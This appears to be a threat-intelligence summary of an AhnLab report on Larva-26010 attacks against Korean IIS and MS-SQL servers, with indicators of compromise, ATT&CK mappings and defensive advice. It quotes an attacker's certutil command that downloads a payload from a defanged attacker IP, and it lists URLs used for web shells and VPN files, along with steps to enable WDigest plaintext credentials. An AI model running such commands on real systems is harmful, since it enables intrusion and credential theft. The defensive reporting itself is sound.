Larva-26010 Targets Korean Web Servers to Install SoftEther VPN
Summary
AhnLab details attacks from April to August 2026 in which Larva-26010 targeted Korean web servers and MS-SQL systems, installing SoftEther VPN, web shells, and SqlShell. The initial intrusion method remains unknown.
Key points
- AhnLab links attacks observed from April to August 2026 to Larva-26010, which it says has targeted Korean servers since at least 2024.
- In recent cases, web-server processes ran discovery commands and SoftEther VPN installation commands; the initial intrusion method is unknown.
- Attackers downloaded SoftEther components and configurations into ProgramData, often disguising the executable as vmtoolsd.exe.
- Configurations indicate infected systems were set up to connect onward to another VPN server, potentially obscuring the operators’ infrastructure.
- The activity included enabling WDigest credential storage and querying authentication providers, security policies, and domain status.
- Attackers also targeted MS-SQL servers with CLR SqlShell, which supports command execution, downloads, privilege escalation, memory dumps, account creation, and shellcode execution.
- AhnLab recommends patching IIS and operating systems, restricting upload-folder execution, and validating web-service requests and database queries.
Article Details
- Attack Vectors
- Attackers targeted web servers in Korea and executed discovery commands and SoftEther VPN installation commands through the web server process; the initial intrusion method is unknown.
- Attackers downloaded batch files and SoftEther VPN configuration and data files using PowerShell, Certutil, and Curl.
- The actor also targeted MS-SQL servers to install CLR SqlShell, which supports command execution, payload downloads, privilege escalation, memory dumps, account creation, and shellcode execution.
- In some cases, attackers installed a web shell and created an account named “administrator.”
- The actor enabled the UseLogonCredential registry key, apparently to enable WDigest plaintext password storage for subsequent credential theft.
- Defensive Notes
- Inspect vulnerable web servers and validate input values for DBMS queries and web service requests.
- Restrict execution permissions on upload folders.
- Apply the latest security patches to IIS web servers and the operating system.
- Keep V3 updated to the latest version.
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| IPV4 | 139[.]180[.]210[.]71 | IP indicator listed in the article's threat-indicator section and used to serve SoftEther VPN installation files. |
| IPV4 | 149[.]28[.]151[.]180 | IP indicator listed in the article's threat-indicator section. |
| IPV4 | 45[.]76[.]144[.]150 | IP indicator listed in the article's threat-indicator section and used to serve SoftEther VPN installation files. |
| IPV4 | 64[.]176[.]46[.]157 | IP indicator listed in the article's threat-indicator section. |
| IPV4 | 64[.]176[.]55[.]16 | IP indicator listed in the article's threat-indicator section and used to serve SoftEther VPN installation files. |
| MD5 | 2ce810acee9eb604010bd4cd28b36ac2 | MD5 indicator listed in the article's threat-indicator section. |
| MD5 | 329f6d74299141fe06a5e222efcb06f8 | MD5 indicator listed in the article's threat-indicator section. |
| MD5 | 9593369fbd29c7c4e79eae940512040d | MD5 indicator listed in the article's threat-indicator section. |
| MD5 | e9d80a71e8577cc467b09bcf4b13a6fa | MD5 indicator listed in the article's threat-indicator section. |
| URL | hxxp[:]//139[.]180[.]210[.]71/Download/m2[.]Bat | URL used to download a batch file for SoftEther VPN installation. |
| URL | hxxp[:]//139[.]180[.]210[.]71/download/m2[.]bat | Listed URL indicator for a batch file used in the SoftEther VPN installation. |
| URL | hxxp[:]//139[.]180[.]210[.]71/Download/us320250823[.]Cab | URL used to download a CAB file associated with the SoftEther VPN installation. |
| URL | hxxp[:]//139[.]180[.]210[.]71/download/us320250823[.]cab | Listed URL indicator for a CAB file used in the SoftEther VPN installation. |
| URL | hxxp[:]//45[.]76[.]144[.]150/Download/m2[.]Bat | URL used to download a batch file for SoftEther VPN installation. |
| URL | hxxp[:]//45[.]76[.]144[.]150/download/m2[.]bat | Listed URL indicator for a batch file used in the SoftEther VPN installation. |
| URL | hxxp[:]//45[.]76[.]144[.]150/Download/us3202508234[.]Cab | URL used to download a CAB file associated with the SoftEther VPN installation. |
| URL | hxxp[:]//45[.]76[.]144[.]150/download/us3202508234[.]cab | Listed URL indicator for a CAB file used in the SoftEther VPN installation. |
| URL | hxxp[:]//64[.]176[.]55[.]16/download//vpn_server[.]config | Listed URL indicator associated with the SoftEther VPN configuration. |
| URL | hxxp[:]//64[.]176[.]55[.]16/Download/menu[.]Bat | URL used to download a batch file for SoftEther VPN installation. |
| URL | hxxp[:]//64[.]176[.]55[.]16/Download/us31231131[.]Cab | URL used to download a CAB file associated with the SoftEther VPN installation. |
| URL | hxxp[:]//64[.]176[.]55[.]16/Download/vmtoolsd[.]Se2 | URL used to download a SoftEther VPN data file. |
| URL | hxxp[:]//69[.]48[.]229[.]196:8080/Download/core[.]Img | URL used to download the SoftEther VPN hamcore data file. |
| URL | hxxp[:]//69[.]48[.]229[.]196:8080/Download/server[.]Config[.]Hrx | URL used to download a SoftEther VPN configuration file. |
| URL | hxxp[:]//69[.]48[.]229[.]54:8080/1/2[.]Config | URL used to download a SoftEther VPN configuration file. |
| URL | hxxp[:]//69[.]48[.]229[.]54:8080/1/Vmtoolsd[.]Exe | URL used to download an executable installed as vmtoolsd.Exe. |
| URL | hxxp[:]//bashupload[.]app/p62mh8[.]Bin | URL used to download a file saved as an ASPX web shell. |
| URL | hxxp[:]//sendit[.]sh/Ebhcz/hamcore[.]Se2 | URL used to download the SoftEther VPN hamcore.Se2 data file. |
| URL | hxxp[:]//sendit[.]sh/LLXkB/dUHxy[.]Config | URL used to download the SoftEther VPN configuration file. |
MITRE ATT&CK
T1016 · System Network Configuration DiscoveryThe discovery commands included Ipconfig and Ipconfig /all to inspect network configuration.T1033 · System Owner/User DiscoveryThe discovery commands included Whoami and Query user to identify the current user and logged-on users.T1049 · System Network Connections DiscoveryThe discovery commands included Netstat to inspect network connections.T1057 · Process DiscoveryThe discovery commands included Tasklist to enumerate processes.T1059.001 · PowerShellPowerShell commands downloaded batch files and a web-shell file during the attacks.T1082 · System Information DiscoveryThe web server process ran Systeminfo to discover system information.T1105 · Ingress Tool TransferPowerShell, Certutil, and Curl downloaded batch files, CAB files, SoftEther VPN files, and a web-shell file.T1112 · Modify RegistryThe actor set the UseLogonCredential registry key.T1136.001 · Local AccountA command created a local account named “administrator.”T1505.003 · Web ShellThe actor installed a web shell on compromised systems.
Threat Actors
GALLIUMMicrosoft reportedly observed this actor installing a SoftEther VPN server on a target network to access its internal network.Larva-26010ASEC classifies the actor behind the recent Korean web-server and MS-SQL attacks as Larva-26010, based on similarities to earlier cases.ToddyCatKaspersky reportedly disclosed attack cases in which this actor installed SoftEther VPN.UNC3500Mandiant reportedly disclosed SoftEther VPN installation during an attack attributed to this tracked cluster.
Products
IISrequests, restrict execution permissions on upload folders, and apply the latest security patches to IIS web servers and the operating system.MS-SQLAfter penetrating a poorly managed MS-SQL server, the attacker used utilities such as PowerShell, bitsadmin, and Certui to install SoftEther VPN and is believed to have ultimately installed a web shell.SoftEther VPNAttack Cases for Domestic Web Servers Running SoftEther VPN in KoreaV3They should also ensure that V3 is updated to the latest version so that Malware infection can be prevented.
Tools
BadPotatosuch as command execution and payload downloads but also capabilities like privilege escalation using BadPotato and EfsPotato, memory dumps, adding user accounts, and executing shellcode.bitsadminAfter penetrating a poorly managed MS-SQL server, the attacker used utilities such as PowerShell, bitsadmin, and Certui to install SoftEther VPN and is believed to have ultimately installed a web shell.certutil> Certutil -urlcache -split -f “hxxp://139.180.210[.]71/Download/us320250823.Cab” “C:\ProgramData\proxy.Cab”EfsPotatoexecution and payload downloads but also capabilities like privilege escalation using BadPotato and EfsPotato, memory dumps, adding user accounts, and executing shellcode.PowerShellAfter penetrating a poorly managed MS-SQL server, the attacker used utilities such as PowerShell, bitsadmin, and Certui to install SoftEther VPN and is believed to have ultimately installed a web shell.SqlShellto be executed via the web service; in the final stage, the MS-SQL server was attacked to install CLR SqlShell.